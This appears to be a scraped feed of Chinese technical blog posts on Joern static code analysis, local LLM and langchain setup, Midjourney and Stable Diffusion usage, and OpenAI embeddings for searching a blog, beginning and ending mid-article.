一方面你无法清楚的知道，从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。

另一方面，如果你的目标并不是单纯的扫描漏洞，而是想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。

如果对Joern的设计理念感兴趣，可以看看设计者写的文章

• https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1

或者看看设计师的PPT

• https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf

使用joern

根据官网的文档，我们可以快捷的安装joern环境

• https://github.com/joernio/joern

wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh
chmod +x ./joern-install.sh
sudo ./joern-install.sh
joern
     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗
     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║
     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║
██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║
 ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝
Version: 2.0.1
Type `help` to begin
joern>

windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。

如果需要做joern做二次开发，还需要下载idea的scala插件

• https://plugins.jetbrains.com/plugin/1347-scala/versions/stable

joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解

• https://queries.joern.io/

这里我们下一个java-sec-code作为范例代码

• https://github.com/JoyChou93/java-sec-code

导入到joern的方式也很简单

在运行代码的时候joern也给出了提示，如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。

javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip

然后在打开joern后将刚才生成的cpg导入进来

importCpg("path/to/cpg")

但其实这个转化CPG的过程不会太慢，因为Joern为了优化这个速度，是把转化和连接这两部分拆开做的，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。

这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。

你可以用openroject(java-sec-code)来切换当前激活的工作区

这里最终生成的cpg变量就是代码的CPG，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，这个l就是tolist，结果会转成list格式。

比较重要的一点是，joern的shell模式为了易用性是优化了tab的，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。

通过method可以获取cpg中的所有方法，并获取节点的详细信息。

cpg.method.take(1).l

信息太多，你还可以构造返回的map结构，比如行号，方法名，对应的代码。

cpg.method.map(n=>List(n.lineNumber, n.name, n.code)).take(1).l

查询调用了getRequestBody的方法，并获取文件名、行数、方法名

cpg.method.name("getRequestBody").caller.map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l

这里第一行就表示，在XStreamRce.java这个文件的23行调用了getRequestBody这个函数。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要追这个入口(source)是否可以通往敏感函数点，那我们就需要对数据流做分析了。

首先我们需要知道如何访问到调用了getRequestBody的方法，由于这是个SpiringBoot项目，所以可以从@RequestMapping的注解入手，先查询出所有的web入口。

cpg.method.where(_.annotation.name(".*Mapping")).map(n=>(n.name, n.annotation.code.l)).l

然后我们可以在@RequestMapping的节点和调用getRequestBody的方法节点中间寻找路径，在Joern它提供了两个方案

• 正向搜索，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点

cpg.method.where(_.annotation.name(".*Mapping")).repeat(_.callee)(_.until(_.name("getRequestBody"))).l

• 反向搜索，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解

cpg.method.name("getRequestBody").repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).l

关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性，最简单的一个方式是从少的节点往多的节点找，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。

这里使用的语法是repeat...until...语法，大意是一直向上寻找调用上级/下级，直到满足某个条件为止。

上面的语法只是显示了满足条件的节点，但真正到漏洞挖掘中，我们必须在source和sink中找到数据流才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是reachableBy。

这里用一个比较简单的例子，是java-sec-code最简单的rce例子

首先我们指定exec调用点为sink，然后照例指定含有Mapping注解的方法参数为source

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")

然后直接用reachableBy来做数据流分析获取

sink.reachableByFlows(source).p

可以看到这里已经找到了刚才那条数据流。

当然静态分析远不止这么简单，是否有效，是否被过滤都是问题，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了sc脚本的方案来构建复杂的查询逻辑。

./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log

这部分的内容后面再讲

阅读原文

跳转微信打开

其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。

其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，打造一个自己的AIGC应用已经非常简单了。

基础环境

我们需要配置一个环境

• python3.8+，不要太新

• CUDA+环境

• pytorch

• 支持C++17的编译器

首先我比较推荐你配置一个anaconda的环境，因为pytorch的其他安装方法真的很麻烦

• https://www.anaconda.com/distribution/#download-section

然后你需要安装CUDA的环境，正常来说只需要下载对应的CUDA版本即可

• https://developer.nvidia.com/cuda-downloads

然后就是安装pytorch的环境，这个环境比较麻烦，正常来说通过conda来安装是比较靠谱的办法，当然有些时候就是安不了。

如果安装不成功，就只能用源码来编译了。

• https://github.com/pytorch/pytorch#from-source

首先，clone一下源码

git clone --recursive https://github.com/pytorch/pytorch
cd pytorch
# if you are updating an existing checkout
git submodule sync
git submodule update --init --recursive

然后安装一下对应的各种依赖

conda install cmake ninja
# Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below
pip install -r requirements.txt
conda install mkl mkl-include
# Add these packages if torch.distributed is needed.
# Distributed package support on Windows is a prototype feature and is subject to changes.
conda install -c conda-forge libuv=1.39

然后windows的源码编译有点儿复杂，具体要参考各种情况下的编译

• https://github.com/pytorch/pytorch#install-pytorch

在编译这个pytorch这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，不能用太低或者太高版本的python，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。

另外就是如果gpu不是很好或者显存不是很高，也可以使用cpu版本，大部分电脑的内存都会比较大，起码能跑起来。

如果是windows，那一定会用到huggingface，有个东西我建议一定要注意下。

默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。

在环境变量里加入HF_HOME和TORCH_HOME ，设置为指定变量即可。

除此之外，有的项目也会提供docker化的部署方案，如果采用这种方案，就必须在宿主机安装NVIDIA Container Toolkit，并重启docker

sudo apt-get install -y nvidia-container-toolkit-base
sudo systemctl daemon-reload 
sudo systemctl restart docker

进阶构成

LLM

LLM全称Large Language Model，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以ChatGLM、LLaMA为代表的轻量级语言模型相当好用。

虽然这些开源语言模型相比ChatGPT差距巨大，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。

• ChatGLM-6B

• https://github.com/THUDM/ChatGLM-6B

• ChatGLM2-6B

• https://github.com/THUDM/ChatGLM2-6B

目前中文领域效果最好，也是应用最多的开源底座模型。大部分的中文GPT二次开发几乎都是在这个模型的基础上做的开发，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。

• Moss

• https://github.com/OpenLMLab/MOSS

MOSS是一个支持中英双语和多种插件的开源对话语言模型，moss-moon系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。

• ChatRWKV

• https://github.com/BlinkDL/ChatRWKV

一系列基于RWKV架构的Chat模型（包括英文和中文），发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。

LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。

• https://github.com/HqWu-HITCS/Awesome-Chinese-LLM

• https://github.com/chenking2020/FindTheChatGPTer

给大家看一个通过一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。

• https://github.com/CLUEbenchmark/SuperCLUElyb

Embedding

Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。

所以也就衍生出了不少的开源Embedding模型

• https://huggingface.co/GanymedeNil/text2vec-large-chinese

• https://huggingface.co/shibing624/text2vec-base-chinese

gradio

gradio是一个非常有名的机器学习用于数据演示的web框架。通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask

• https://github.com/gradio-app/gradio

首先要注意gradio最起码python在3.8版本以上.

import gradio as gr
def greet(name):
    return "Hello " + name + "!"
demo = gr.Interface(fn=greet, inputs="text", outputs="text")
    
demo.launch()

gradio支持非常多这类的常用场景，就比如文本、勾选框、输入条，甚至文件上传、图片上传，都有非常不错的原生支持。

FastChat

FastChat是一个在LLM基础上构筑的一体化平台，FastChat是基于LLaMA做的二次调参训练。

pip3 install fschat

正常使用需要用机器生成Vicuna模型，将LLaMa weights合并Vicuna weights。而这个过程需要大量的内存和CPU，官方给出的参考数据是

• Vicuna-7B：30 GB of CPU RAM

• Vicuna-13B：60 GB of CPU RAM

如果没有足够的内存用，可以尝试下面两个办法来操作一下：

1、在命令中加入--low-cpu-mem，这个命令可以把峰值内存降到16G以下

2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存

python3 -m fastchat.model.apply_delta \
    --base-model-path /path/to/llama-7b \
    --target-model-path /path/to/output/vicuna-7b \
    --delta-path lmsys/vicuna-7b-delta-v1.1
python3 -m fastchat.model.apply_delta \
    --base-model-path /path/to/llama-13b \
    --target-model-path /path/to/output/vicuna-13b \
    --delta-path lmsys/vicuna-13b-delta-v1.1

下载完模型文件之后，可以快捷的使用对应的模型

python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0

相比其他的基座模型LLM，FastChat的平台化程度就比较高了。

首先提供了controller和model worker分别部署的方案，一对多的方案本身比较符合项目化的结构。

python3 -m fastchat.serve.controller
python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights

而且同样利用gradio构建了相应的web界面

python3 -m fastchat.serve.gradio_web_server

除此之外FastChat还提供了和openai完全兼容的api接口和restfulapi.

import openai
openai.api_key = "EMPTY" # Not support yet
openai.api_base = "http://localhost:8000/v1"
model = "vicuna-7b-v1.3"
prompt = "Once upon a time"
# create a completion
completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=64)
# print the completion
print(prompt + completion.choices[0].text)
# create a chat completion
completion = openai.ChatCompletion.create(
  model=model,
  messages=[{"role": "user", "content": "Hello! What is your name?"}]
)
# print the completion
print(completion.choices[0].message.content)

甚至可以直接以api的方式接入到其他的平台中，完成度很高。

知识库文件

知识库文件是langchain类方案中比较重要的一环，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在比较常见的相似度检测用的都是faiss，构建向量数据库用于数据比对。

• https://github.com/facebookresearch/faiss

相应的现在很多应用还内置了用于测试知识库的接口，比如langchain-ChatGLM

通过微调知识相关度的阈值，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。

langchain

langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先进入数据库检索，然后找出最匹配问题的部分结果然后和问题一起加入到prompt的上下文中，最终由LLM生成最终的回答。

这个方案是目前最经典的知识库型训练方案，最有效的解决了大模型本身训练的难度和反馈结果的有效度难以兼容的问题。

• https://github.com/hwchase17/langchain

建立在langchain的思想上，其实衍生了非常多比较有意思的项目，一方面引用了包括ChatGLM-6B等各种开源的大模型，也用了开源的embedding方案来处理文本。

• https://github.com/THUDM/ChatGLM-6B

• https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main

另一方面呢也做了比较成熟的vue前端+知识库，可以快速的拼凑出可用的chat ai。

• https://github.com/imClumsyPanda/langchain-ChatGLM

• https://github.com/yanqiangmiffy/Chinese-LangChain#

langchain-ChatGLM

langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化 -> 在文本向量中匹配出与问句向量最相似的top k个 -> 匹配出的文本作为上下文和问题一起添加到prompt中 -> 提交给LLM生成回答。

整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是 GanymedeNil/text2vec-large-chinese，LLM 默认选用的是 ChatGLM-6B。或者也可以通过fastchat来接入。

配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。

当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。

• https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B

比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件

GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b

• https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/

然后需要修改对应的配置文件中模型的位置，在configs/model_config.py

默认的知识库文件路径是

knowledge_base\samples

如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。

python cli_demo.py

python3.10 .\webui.py

阅读原文

跳转微信打开

Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。

之前的几篇关于AI生成图片的文章讲的都是stable diffusion，虽然SD出现的更早而且开源免费，但其实在设计圈使用更广泛的是Midjourney，Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。

快速入门

注册Discord并授权使用Midjourney的bot

现在的Midjourney已经正式转为收费版本了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。

订阅完成之后就可以加入Midjourney的频道，在左边可以选择newbie或者general的频道进去

你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以在自己的私人频道使用这个bot。首先你需要有一个你拥有管理权限的频道，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。

然后就可以正常的使用命令了。

最常用的命令就是/imagine，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体对中文的支持并不是很好，生成结束之后就会弹出结果。

下面的几个选项对应的是上面图的进一步发展方向

其中U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成，如果都不满意还可以重新生成一次。

假设我们选择U1之后，他会获得一个放大版本的更多细节的图。

之后如果你还想进一步生成，还可以点选Make Variations来继续生成之前的4格图继续风格的演变和生成。

进阶配置

Midjourney的基础用法就是用imagine配合基础的文字描述来生成图片

但事实上，Midjourney还有很多进阶选项

首先你可以通过传入图片链接来使用图生图功能。除此之外，还有一些参数可以提供。

• --aspect，--ar：修改生成图片的纵横比.

ps: --aspect 2:3

• --chaos <number 0–100>：改变结果的多样性，值越高变量越大

• --iw <0–2>：设置图片prompt和文字prompt的权重比例，默认值是1

• --no Negative prompting：否定提示词，比如说--no plants可以去除图里的植物

• --quality <.25, .5, or 1>：花费多少渲染质量时间，默认值是1

• --repeat <1–40>，--r <1–40>：重复多少次

• --seed <integer between 0–4294967295>：随机数种子

• --stop <integer between 10–100>：在中途停止生成

• --style <raw>：切换Midjourney的版本

• --stylize <number>，--s <number>：Midjourney美术风格的强度

• --tile：重复图块以生成更大的图

除此之外你也可以指定使用Midjourney不同版本的基础模型

• --niji：适用于动漫风格的基础模型

• --version <1, 2, 3, 4, or 5>：不同版本的Midjourney算法

继续拓展

在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过大幅度简化来实现产品使用体验的大幅度提升，使用Midjourney你并不能像SD一样在很多地方影响图片的生成逻辑，拿生成赛博偶像的系列图举例子，你很难生成同样外形的多个系列图片。

而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。

而我觉得Midjourney除了超棒的交互式体验，最牛的就是底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。

举个例子，a hacker before computer

如果是在文心一言，你就会得到这样一个图

这里你能很明显的感受到他们的区别，就是Midjourney生成结果质量非常之高，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择用大图来重新图生图。

比如这里我拿第二个图进行重新生成，加入赛博朋克风格

当然你可能没有什么想法，但你只是喜欢这个画风，那你可以通过chaos这个参数来增加多样性，当然这个值建议不要设置太大，否则基本和原图就关系不大了。

你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。

之前也曾经听过一个事情，设计师届曾大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作，真是令人唏嘘。

在线部署Midjourney

前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案

• https://github.com/novicezk/midjourney-proxy

你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。

• https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md

部署完成之后可以获得一个mid的链接

这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney

• https://github.com/Licoy/ChatGPT-Midjourney

这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了

部署好了绑定域名就可以用了，很方便。

阅读原文

跳转微信打开

在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。

在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法

• https://lorexxar.cn/2023/02/21/cyber-girl/

在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。

这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。

在线部署stable diffusion

AI相关的东西都有一个很大的共同点就是对GPU的算力要求太高，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，一个入门级的4070ti就已经能应对大量的ai训练场景了。

在Google Colab白嫖GPU

但有个很特殊的东西是Google Colab，这是Google提供的免费GPU算力

现在有很多现成的脚本可以允许你一键部署脚本，就比如

• https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV

点击打开之后，先点击右上角的连接，会随机分配一个机器给你。

连接成功就会变成绿色

免费的计算单元式有限的，你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。Colab Pro的价格是大概每月75.

在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，每一步点开箭头按钮即可。

这里需要下载的各种内容都会直接下载到你账号对应的Google云端硬盘。

然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，在上篇文章提到过Chilloutmix是一个人像的写实通用模型，正常来说我们都会选择这个。

当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。包括后面的LoRa也是一样。其他的大部分内容都不用更改，直接跑完即可。

最后点击运行启动web ui

然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题

1、免费的colab只能连续运行十几小时，再用就必须停一段时间，就又会获得新的免费时间。

2、在使用人数比较多的时候，免费账户可能会申请不到GPU算力。

当然如果你用的是colab pro就不用这么麻烦了。

在Stable diffusion基础上的第三方

其实市面上有很多很多的第三方开发AI绘图工具是基于Stable diffusion做的，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接点击跳转到第三方网站付费运行相应的模型。

除了这些内置的以外，其中有个我感觉比较好用的是Vega AI

• https://rightbrain.art/

这个网站已经把Stable diffusion包装成很接近midjounry的工具了，你可以非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。

Stable diffusion拓展插件

在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，Stable diffusion还支持拓展插件，可以有非常不错的功能拓展。

Openpose 骨骼绑定

Openpose Editor是一个最近比较流行的骨骼动作编辑插件，你可以直接在下面的链接下载这个插件。

• https://github.com/fkunn1326/openpose-editor

通过这个插件，你可以在一定程度上设定生成图片的人物骨骼结构。从而生成指定的图片。

在导入Openpose插件之后，你可以在上面选择Openpose编辑器

然后选择简单的骨骼结构之后推导到文生图继续编辑，在左下角勾选启用，和低vram模式，其他的基本不用动。

这样就可以跑出来一张指定骨骼样子的图片

除了指定骨骼以外，你还可以通过上传图片来解构图片本身的骨骼，然后再用来指定和生成，这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好，尤其是可以很大程度还原图片本身的样式。

在OpenPose编辑器中使用Detect from image获取图片中的人物骨骼

然后发送到文生图或者图生图里传入关键字。等待一会儿就会生成对应的图了

当然这里这个简单的骨骼绑定还是比较简单的一种，配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。

ChatGPT关键字

其实我觉得Stable diffusion里最不实用的关键点就是正向和负向关键字，关键字系统本身相当复杂而且还只能识别英语，并且里面的优先级问题和竞争问题相当复杂，对于使用者来说，这点就是一个相当大的门槛。反之在midjounry中这方面就做的非常好，你可以用中文描述场景在逐步优化。

而现在，你可以用一个简单的ChatGPT插件来实现类似的功能，在配置上chatgpt的api之后你就可以用GPT3.5来解构和构造关键字。

• https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities

成功安装之后，可以在设置里找到ChatGPT Utilities，点开并配置Chatgpt 的apikey

然后在对应文生图中，script中选择对应的ChatGPT，就会弹出以下的选项卡，我们可以在这里自动生成prompt.

后台会用你设定的ChatGPT apikey去生成图片的prompt

然后会生成对应的图

当然让chatgpt去生成prompt是比较简单的应用方式，你也可以指定部分prompt，然后进一步生成图片。比如

基于 {prompt}，生成不同姿势的粉色头发美女

这种情况下，你先去搞一个比较靠谱的prompt，再自定义做修改，就不会像以前一样对超长的prompt无从下手了。当然，我试了几次之后发现，其实chatgpt不太能理解这个预设的prompt，效果没有直接描述场景更好。

生成的图有点儿崩了，这里我就打码了

写在最后

在研究Stable diffusion的过程中，真的感觉现在这个东西好成熟，没想到AI革命，很多行业都还没革明白，但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器midjounry

阅读原文

跳转微信打开

在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。

在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。

1、ChatGPT只能处理文字

2、无论是上下文参考，还是单条对话都有token限制

所以在ChatGPT中，很多应用方向遇到的第一个问题就是如何把问题用文字的方式描述出来，其中最典型的场景就是代码分析。

所以ChatGPT也鼓励使用Embeddings来做类似搜索、分类或者异常检测的分析，这篇文章就讲讲这个。

Embeddings

Embeddings是拓扑学中的一个概念，这个词被普遍提出来是在深度学习领域。抛开复杂的理论不谈，简单来说就是通过数学的方式把一个内容给向量化，用一些非常复杂的向量来代替内容本身。这是一种试图通过数学理论解读问题的方案。

这里我拿一个特别简单的例子来解释一下Embeddings。这里这个例子参考了一个知乎的帖子。

假设我们需要招聘一个程序员，那么我们可以把招聘需求抽象成5个维度，比如会python，写过项目，名校学历，带过团队，性格特点，在5个维度的基础上，我们可以把候选人的能力抽象为数字。

比如说[1,1,0,0,1]，当然用0和1是精度比较低的，你可以用0.几来替代每个向量中对预期的符合度。在这个5维的向量标准下，我们可以把多个候选人的简历抽象为多个5维向量组，并且通过对多个5维向量组做一定的数学计算，这样就可以得出最合适的候选人。

当然，这只是一个简单的例子。在深度学习的领域，Embeddings的计算还涉及到核函数的优化过程。对于使用者来说，我们不需要刨开黑盒讨论这些。

在ChatGPT中，openai提供了官方的计算Embeddings的API，当然这是收费的。

通过openai的api，我们就可以把信息转化为Embeddings向量。在Openai的文档中，我们可以看到每个模型的核方案对应的要求以及价格。

其中 text-embedding-ada-002这个模型整体表现最好而且还便宜，更适用于Embeddings。

举个栗子

这里我们还是拿上篇文章的例子来聊，拿我的博客内容来进一步处理。在上篇文章中我们准备数据集的时候就遇到了几个问题。

1、博客内容普遍超过2000token，并且更普遍的是，文章内容中有大量的代码，甚至图片内容

2、可能是由于博客内容分割严重，也可能是由于GPT3本身的学习能力有限，学习的结果很差。

这种情况下，我们就可以尝试用Embeddings把内容向量化，再做进一步的处理。

我们通过把文章本身向量化，然后再把问题向量化，在对比两部分的余弦相似度，最终返回相似度最高的文章。

当然，对比文章相似度这种信息颗粒度还是太低了，理论上来说，你可以选择把文章按照自然段划分并分别处理，当然如何关联多个自然段也是一个问题。

这里我用一个比较简单的例子，把文章按照#划分自然段，然后标上标题，并通过openai的api来计算embeddings.

import pandas as pd
import tiktoken
import codecs
import re
from openai.embeddings_utils import get_embedding
embedding_model = "text-embedding-ada-002"
embedding_encoding = "cl100k_base"  
max_tokens = 8000
file = "chatgpt1.md"
f = codecs.open(file, 'r', encoding='utf-8', errors='ignore')
text = f.read()
m1 = re.search(r'title: (.+)\n', text)
title = m1.group(1)
matchs = re.findall(r'\#+[^\#]*', text) # 匹配标题和内容
for match in matchs:
    m2 = re.search(r'\#+.*', match)
    t2 = m2.group(0)
    r = "Title: {} - {}\nContent:{}".format(title, t2, match)
    # print(r)
    em = get_embedding(r, engine=embedding_model)
    print(em)

运行就可以查看到结果

然后我们在这个基础上对上述的向量化数据存档，然后一一对比相似度。

import pandas as pd
import tiktoken
import codecs
import re
from openai.embeddings_utils import get_embedding, cosine_similarity
embedding_model = "text-embedding-ada-002"
embedding_encoding = "cl100k_base"  
max_tokens = 8000
textlist = []
search_text = "ip被封了怎么办？"
file = "chatgpt1.md"
f = codecs.open(file, 'r', encoding='utf-8', errors='ignore')
text = f.read()
m1 = re.search(r'title: (.+)\n', text)
title = m1.group(1)
matchs = re.findall(r'\#+[^\#]*', text) # 匹配标题和内容
for match in matchs:
    m2 = re.search(r'\#+.*', match)
    t2 = m2.group(0)
    r = "Title: {} - {}\nContent:{}".format(title, t2, match)
    # print(r)
    em = get_embedding(r, engine=embedding_model)
    search_embedding = get_embedding(
        search_text,
        engine="text-embedding-ada-002"
    )
    similarity = cosine_similarity(em, search_embedding)
    c = {
        "content": r,
        "similarity": similarity
    }
    textlist.append(c)
sorted_list = sorted(textlist, key=lambda k: k['similarity'])
print(sorted_list[-1])

通过这段代码我们在文章中搜索和"ip被封了怎么办？"这个问题相似度最高的段落，最终我们得到答案。

关于Embeddings

其实说了这么多Embeddings的各种信息，仔细想想，Embeddings是一种把问题抽象化成数学问题的一种手段。其实近几年很多圈子都流行过用数学解决问题，就比如早几年区块链流行用形式化验证做代码分析，大数据流行用相似性验证来做搜索。

但他们大多都遇到了一个类似的问题，就是当你试图用数学抽象问题，会不可避免的让问题本身变得跑偏。如果说原本的程序设计是为了解决问题而不断优化。当你换数学方案来解决问题的后，问题就变成了，如何用数学更准确的描述问题。

Embeddings就是一个很典型的例子，这只是一个比较泛的概念，具体Embeddings的技术方案有很多，无论是基本的热独编码到 PCA 降维，从 Word2Vec 到 Item2Vec，从矩阵分解到基于深度学习的协同过滤。每种概念以及技术方案，都是为了更准确的找到描述问题的维度，更准确计算。

也正是因此，Embeddings虽然是大数据乃至AICG中非常关键的技术之一，但在ChatGPT这个场景中，Embeddings应用的主要作用就是节省tokens。但显然，Embeddings虽然被广泛应用于信息分类和聚合，但在代码分析的场景，Embeddings的表现并不好，在后面的文章中会讲到这些。

阅读原文

跳转微信打开

在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。但这并不意味着ChatGPT没有能力学习你的回答。

在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。但这并不意味着ChatGPT没有能力学习你的回答。

首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考，其次，由于ChatGPT学习的内容之庞大，你通过一种直白的方式问不到的答案不一定是他不会，有可能是你问的方式不对。

